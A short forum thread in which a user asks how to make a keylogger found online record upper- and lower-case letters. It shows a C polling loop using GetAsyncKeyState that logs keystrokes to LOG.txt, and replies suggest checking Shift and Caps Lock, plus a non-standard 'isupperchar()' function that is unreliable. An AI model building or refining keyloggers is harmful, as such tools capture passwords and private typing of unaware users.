Help with keylogger!

[emreozpalamutcu]

I found this code on the internet which is an good keylogger only issue it always types capitals how to make the keylogger recognise if its capital or not?

    while (1)
     {
         for(i = 8; i <= 190; i++)
         {
 if (GetAsyncKeyState(i) == -32767)
 Save (i,"LOG.txt"); 
        }
     }
     system ("PAUSE");

first off.. it doesnt only do capitals.. Iunno what ur talking about... its getasynckeystate which gets key presses.

try isupperchar()

GetAsyncKeyState only tells you which key was pressed. Casing is determined by combining those keys with the shift key and the caps lock key. You'll need to check those two as well and output the correct case accordingly.
